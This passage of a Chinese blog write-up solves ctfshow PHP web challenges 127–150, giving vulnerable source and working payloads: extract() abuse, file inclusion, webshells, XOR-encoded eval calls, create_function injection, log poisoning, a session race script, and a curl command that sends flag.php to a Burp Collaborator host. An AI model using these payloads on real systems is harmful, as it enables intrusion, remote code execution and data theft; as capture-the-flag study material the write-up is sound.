      当前执行脚本的绝对路径。注意:如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 …/file.php,那么 $_SERVER[‘SCRIPT_FILENAME’] 将包含用户指定的相对路径。

    • ‘SERVER_ADMIN’

      该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。

    • ‘SERVER_PORT’

      Web 服务器使用的端口。默认值为 “80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。注意: 在 Apache 2 里,为了获取真实物理端口,必须设置 UseCanonicalName = On 以及 UseCanonicalPhysicalPort = On。 否则此值可能被伪造,不一定会返回真实端口值。 上下文有安全性要求的环境里,不应该依赖此值。

    • ‘SERVER_SIGNATURE’

      包含了服务器版本和虚拟主机名的字符串。

    • ‘PATH_TRANSLATED’

      当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。注意: Apache 2 用户可以在 httpd.conf 中设置 AcceptPathInfo = On 来定义 PATH_INFO。

    • ‘SCRIPT_NAME’

      包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。

    • ‘REQUEST_URI’

      URI 用来指定要访问的页面。例如 “/index.html”。

    • ‘PHP_AUTH_DIGEST’

      当作为 Apache 模块运行时,进行 HTTP Digest 认证的过程中,此变量被设置成客户端发送的“Authorization” HTTP 头内容(以便作进一步的认证操作)。

    • ‘PHP_AUTH_USER’

      当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。

    • ‘PHP_AUTH_PW’

      当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。

    • ‘AUTH_TYPE’

      当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。

    • ‘PATH_INFO’

      包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过 URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么 $_SERVER[‘PATH_INFO’] 将包含 /some/stuff

    • ‘ORIG_PATH_INFO’

      在被 PHP 处理之前,“PATH_INFO” 的原始版本。

    范例

    示例 #1 $_SERVER 范例

    <?phpecho $_SERVER['SERVER_NAME'];?>
    

    以上例程的输出类似于:

    www.example.com
    

    注释

    注意:

    “Superglobal”也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。

  • payloadGET ?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

  • a [ 0 ] = a[0]= a[0]=fl0g=flag_give_me

web 127

  • error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    $ctf_show = md5($flag);
    $url = $_SERVER['QUERY_STRING'];
    
    
    //特殊字符检测
    function waf($url){
        if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
            return true;
        }else{
            return false;
        }
    }
    
    if(waf($url)){
        die("嗯哼?");
    }else{
        extract($_GET);
    }
    
    
    if($ctf_show==='ilove36d'){
        echo $flag;
    }
    
  • extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值,举例就是?a=2,就会变成$a=2

  • payload?ctf show=ilove36d

web128

  • error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    
    $f1 = $_GET['f1'];
    $f2 = $_GET['f2'];
    
    if(check($f1)){
        var_dump(call_user_func(call_user_func($f1,$f2)));
    }else{
        echo "嗯哼?";
    }
    
    
    
    function check($str){
        return !preg_match('/[0-9]|[a-z]/i', $str);
    }
    
  • 这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()因此call_user_func('_','ctfshownb') 返回的结果为ctfshownb

  • get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

  • payload?f1=_&f2=get_defined_vars

web129

  • error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['f'])){
        $f = $_GET['f'];
        if(stripos($f, 'ctfshow')>0){
            echo readfile($f);
        }
    }
    
  • 目录穿越?f=/ctfshow/../var/www/html/flag.php

  • 远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马?f=http://url/xxxx.txt?ctfshow

  • php伪协议?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

  • error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['f'])){
        $f = $_POST['f'];
    
        if(preg_match('/.+?ctfshow/is', $f)){
            die('bye!');
        }
        if(stripos($f, 'ctfshow') === FALSE){
            die('bye!!');
        }
    
        echo $flag;
    
    }
    
  • PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
    回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

  • 但是这个题直接f=ctfshow就可,正则匹配不到这个,然后后面是0===false,都可以过去

web131

  • error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['f'])){
        $f = (String)$_POST['f'];
    
        if(preg_match('/.+?ctfshow/is', $f)){
            die('bye!');
        }
        if(stripos($f,'36Dctfshow') === FALSE){
            die('bye!!');
        }
    
        echo $flag;
    
    }
    
  • import requests
    url = "http://8e5babad-955e-4ff9-8484-0a9608e10481.challenge.ctf.show:8080/"
    data = {
        'f': 'showsh'*170000+'36Dctfshow'
    }
    res = requests.post(url=url,data=data)
    print(res.text)
    
    

web132

  • include("flag.php");
    highlight_file(__FILE__);
    
    
    if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
        $username = (String)$_GET['username'];
        $password = (String)$_GET['password'];
        $code = (String)$_GET['code'];
    
        if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
            
            if($code == 'admin'){
                echo $flag;
            }
            
        }
    }
    
  • 进去是一个奇怪的网站,访问robots.txt看到admin的提示,访问/admin/,得到源码,这里一个if是输入,第二个if是&& ||,只需要||前面或者后面有一个为真便满足条件,所以可以满足$username===admin,第二个if$code=admin

  • 所以payload就是username=admin&code=admin&password=heihei

web133

  • error_reporting(0);
    highlight_file(__FILE__);
    //flag.php
    if($F = @$_GET['F']){
        if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
            eval(substr($F,0,6));
        }else{
            die("6个字母都还不够呀?!");
        }
    }
    
  • 限制了6个字符之内,ban了一些命令,而且设置了当前文件夹不可写,可以用``反引号替代exec,

  • 最后payload?F=`$F`;+curl -X POST -F xx=@flag.php yacpgx131i3hze08qlbkwtrh88ez2o.burpcollaborator.net

  • F=$F,这样就可以执行后面的内容了

  • 利用curl将flag带出来,后面的内容是burp 带的 Burp Collaborator client生成的东西,然后就可以通过这个东西拿到flag了

web134

  • highlight_file(__FILE__);
    $key1 = 0;
    $key2 = 0;
    if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
        die("nonononono");
    }
    @parse_str($_SERVER['QUERY_STRING']);
    extract($_POST);
    if($key1 == '36d' && $key2 == '36d') {
        die(file_get_contents('flag.php'));
    }
    
  • 这个又是那个extract函数

  • payload很骚?_POST[key1]=36d&_POST[key2]=36d

web135

  • error_reporting(0);
    highlight_file(__FILE__);
    //flag.php
    if($F = @$_GET['F']){
        if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
            eval(substr($F,0,6));
        }else{
            die("师傅们居然破解了前面的,那就来一个加强版吧");
        }
    }
    
  • 啊这,虽然ban了很多命令,但是可以写文件了

  • 直接?F=`$F `;cp flag.php 2.txt

web136

  • <?php
    error_reporting(0);
    function check($x){
        if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        check($c);
        exec($c);
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    
  • Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
    用法:
    tee file1 file2 //复制文件
    ls|tee 1.txt [//命令输出到1.txt文件中]

  • payload?c=ls /|tee 1 ?c=cat /|tee 2

web137

  • error_reporting(0);
    highlight_file(__FILE__);
    class ctfshow
    {
        function __wakeup(){
            die("private class");
        }
        static function getFlag(){
            echo file_get_contents("flag.php");
        }
    }
    
    call_user_func($_POST['ctfshow']);
    
  • php中 ->与:: 调用类中的成员的区别
    ->用于动态语境处理某个类的某个实例
    ::可以调用一个静态的、不依赖于其他初始化的类方法
    
  • payloadctfshow=ctfshow::getflag

web138

  • error_reporting(0);
    highlight_file(__FILE__);
    class ctfshow
    {
        function __wakeup(){
            die("private class");
        }
        static function getFlag(){
            echo file_get_contents("flag.php");
        }
    }
    
    if(strripos($_POST['ctfshow'], ":")>-1){
        die("private function");
    }
    
    call_user_func($_POST['ctfshow']);
    
  • call_user_func()函数中的参数不仅仅可以是字符串形式,还可以是数组形式

  • call_user_func(array($classname, 'say_hello'));
    调用classname这个类里的sya_hello方法
    
    array[0]=$classname  类名
    array[1]=say_hello   say_hello()方法
    
  • payload: POST ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

  • <?php
    error_reporting(0);
    function check($x){
        if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        check($c);
        exec($c);
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    
  • 用到的linux命令awk、cut用于获取某一行某一列的内容

  • awk 可以用来获取行,cut获取列

  • cat a.txt|awk NR==1|cut -c 1

  • payload:

  • 爆破文件名

    import requests
    url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/"
    result = ""
    for i in range(1,5):
        for j in range(1,15):
            #ascii码表
            for k in range(32,128):
                k=chr(k)
                payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
                try:
                    requests.get(url=url+payload, timeout=(1.5,1.5))
                except:
                    result = result + k
                    print(result)
                    break
        result += " "
    

    然后得到了文件名字是f149_15_h3r3

  • 之后爆破文件内容

    import requests
    url = "http://cc909878-e2c5-4205-98cd-a19ef4f417a3.challenge.ctf.show:8080/"
    result = ""
    for j in range(1,60):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "
    

web140

  • <?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_POST['f1']) && isset($_POST['f2'])){
        $f1 = (String)$_POST['f1'];
        $f2 = (String)$_POST['f2'];
        if(preg_match('/^[a-z0-9]+$/', $f1)){
            if(preg_match('/^[a-z0-9]+$/', $f2)){
                $code = eval("return $f1($f2());");
                if(intval($code) == 'ctfshow'){
                    echo file_get_contents("flag.php");
                }
            }
        }
    }
    
  • 最后是一个弱比较,根据下面盗来的表可以看到只有是0的时候“php”与其比较会是true,那么只需要f1分

  • 构造出一个字符串,intval会把非数字字符串转化为0,就可以绕过

  • payloadf1=sha1&f2=sha1

  • img

web 141

  • highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
    
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/^\W+$/', $v3))
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
    
  • ban了字母数字,又是无字母数字rce

  • 生成字典

  •     result = ''
        preg = '[a-zA-Z0-9]'
        for i in range(256):
            for j in range(256):
                if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                    k = i ^ j
                    if k >= 32 and k <= 126:
                        a = '%' + hex(i)[2:].zfill(2)
                        b = '%' + hex(j)[2:].zfill(2)
                        result += (chr(k) + ' ' + a + ' ' + b + '\n')
        f = open('xor_rce.txt', 'w')
        f.write(result)
    
  • PHP中有个特性,+ - */这些符号,可以放在字符与函数名中间,这样会warning但是可以执行,比如1+system("ls");,但是1system("ls");不能执行,报error

  • 生成payload( system(“cat flag.php”) )?v1=1&v2=2&v3=/("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");

web142

  • error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['v1'])){
        $v1 = (String)$_GET['v1'];
        if(is_numeric($v1)){
            $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
            sleep($d);
            echo file_get_contents("flag.php");
        }
    }
    
  • 后面是乘法,然后sleep乘出来的结果,那么只用v1是0即可

  • payload?v1=0

web143

  • highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
  • web141plus,多过滤了;与|,

  • import requests
    import urllib
    import re
    
    # 生成字典
    def write_rce():
        result = ''
        preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
        for i in range(256):
            for j in range(256):
                if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                    k = i ^ j
                    if k >= 32 and k <= 126:
                        a = '%' + hex(i)[2:].zfill(2)
                        b = '%' + hex(j)[2:].zfill(2)
                        result += (chr(k) + ' ' + a + ' ' + b + '\n')
        f = open('xor_rce.txt', 'w')
        f.write(result)
    
        
    # 得到payload
    def action(arg):
        s1 = ""
        s2 = ""
        for i in arg:
            f = open("xor_rce.txt", "r")
            while True:
                t = f.readline()
                if t == "":
                    break
                if t[0] == i:
                    s1 += t[2:5]
                    s2 += t[6:9]
                    break
            f.close()
        output = "(\"" + s1 + "\"^\"" + s2 + "\")"
        return (output)
    
    
    def main():
        write_rce()
        while True:
            s1 = input("\n[+] your function:")
            if s1 == "exit":
                break
            s2 = input("[+] your command:")
            param = action(s1) + action(s2)
            print("\n[*] result:\n" + param)
    
    main()
    

web144

  • if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
    
        if(is_numeric($v1) && check($v3)){
            if(preg_match('/^\W+$/', $v2)){
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
    function check($str){
        return strlen($str)===1?true:false;
    }
    
  • 对v3的长度作了限制,把payload放在v2上

  • payload?v1=1&v3=2&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>

web145

  • highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
  • 过滤了双引号,那就用单引号代替

    过滤了?>;那就用||来代替或者用三目运算符

  • payload?v1=1&v2=2&v3=?('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60'):

  • ?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

web146

  • highlight_file(__FILE__);
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = (String)$_GET['v1'];
        $v2 = (String)$_GET['v2'];
        $v3 = (String)$_GET['v3'];
        if(is_numeric($v1) && is_numeric($v2)){
            if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                    die('get out hacker!');
            }
            else{
                $code =  eval("return $v1$v3$v2;");
                echo "$v1$v3$v2 = ".$code;
            }
        }
    }
    
  • 不能用三目运算符,直接用上题payload

  • ?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

web147

  • highlight_file(__FILE__);
    
    if(isset($_POST['ctf'])){
        $ctfshow = $_POST['ctf'];
        if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
            $ctfshow('',$_GET['show']);
        }
    
    }
    
  • 对ctf进行了一个正则表达式过滤,post传参的ctf和get传参的show进行了组合,使用create_function()进行代码注入

  • create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。

    string create_function    ( string $args   , string $code   )
    

    string $args 变量部分

    string $code 方法代码部分

    举例:

    create_function('$fname','echo $fname."Zhang"')
    

    类似于:

    function fT($fname) {
      echo $fname."Zhang";
    }
    

    举一个官方提供的例子:

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc";
    echo $newfunc(2, M_E) . "
    ";
    // outputs
    // New anonymous function: lambda_1
    // ln(2) + ln(2.718281828459) = 1.6931471805599
    
  • php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
    
  • payload:
    GET ?show=;};system('grep flag flag.php');/*
    POSOT ctf=%5ccreate_function
    

web148

  • include 'flag.php';
    if(isset($_GET['code'])){
        $code=$_GET['code'];
        if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
            die("error");
        }
        @eval($code);
    }
    else{
        highlight_file(__FILE__);
    }
    
    function get_ctfshow_fl0g(){
        echo file_get_contents("flag.php");
    }
    
  • 没ban^,用异或脚本跑

  • ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149

  • error_reporting(0);
    highlight_file(__FILE__);
    
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    
    file_put_contents($_GET['ctf'], $_POST['show']);
    
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    
  • 看名字像是竞争,但是可以直接往index.php里写🐎

  • GET ?ctf=index.php
    POST: show=<?php eval($_POST[1]);?>
    
  • 然后访问index.php

  • 1=system("cat /ctfshow_fl0g_here.txt");

web150

  • include("flag.php");
    error_reporting(0);
    highlight_file(__FILE__);
    
    class CTFSHOW{
        private $username;
        private $password;
        private $vip;
        private $secret;
    
        function __construct(){
            $this->vip = 0;
            $this->secret = $flag;
        }
    
        function __destruct(){
            echo $this->secret;
        }
    
        public function isVIP(){
            return $this->vip?TRUE:FALSE;
            }
        }
    
        function __autoload($class){
            if(isset($class)){
                $class();
        }
    }
    
    #过滤字符
    $key = $_SERVER['QUERY_STRING'];
    if(preg_match('/\_| |\[|\]|\?/', $key)){
        die("error");
    }
    $ctf = $_POST['ctf'];
    extract($_GET);
    if(class_exists($__CTFSHOW__)){
        echo "class is exists!";
    }
    
    if($isVIP && strrpos($ctf, ":")===FALSE){
        include($ctf);
    }
    
  • 可以用日志包含

  • U-A头写🐎,<?php eval($_POST[1]);?>

  • 之后GET 传isVIP=1,POST传ctf=/var/log/nginx/access.log&1=system('cat flag.php');

web150plus

  • include("flag.php");
    error_reporting(0);
    highlight_file(__FILE__);
    
    class CTFSHOW{
        private $username;
        private $password;
        private $vip;
        private $secret;
    
        function __construct(){
            $this->vip = 0;
            $this->secret = $flag;
        }
    
        function __destruct(){
            echo $this->secret;
        }
    
        public function isVIP(){
            return $this->vip?TRUE:FALSE;
            }
        }
    
        function __autoload($class){
            if(isset($class)){
                $class();
        }
    }
    
    #过滤字符
    $key = $_SERVER['QUERY_STRING'];
    if(preg_match('/\_| |\[|\]|\?/', $key)){
        die("error");
    }
    $ctf = $_POST['ctf'];
    extract($_GET);
    if(class_exists($__CTFSHOW__)){
        echo "class is exists!";
    }
    
    if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
        include($ctf);
    }
    
    
  • 把log ban了,不能日志包含了

  • 还是session竞争

  • import io
    import requests
    import threading
    url = 'http://7851b30a-aef8-4260-9fc6-6e6ec7d92527.challenge.ctf.show:8080/'
    
    def write(session):
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>'
        }
        while True:
            f = io.BytesIO(b'a' * 1024 * 10)
            response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
    def read(session):
        data = {
            'ctf':'/tmp/sess_flag'
        }
        while True:
            response = session.post(url+'?isVIP=1',data=data)
            if 'ctfshow' in response.text:
                print(response.text)
                break
    
    
    if __name__ == '__main__':
        session = requests.session()
        for i in range(30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()
    
    
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值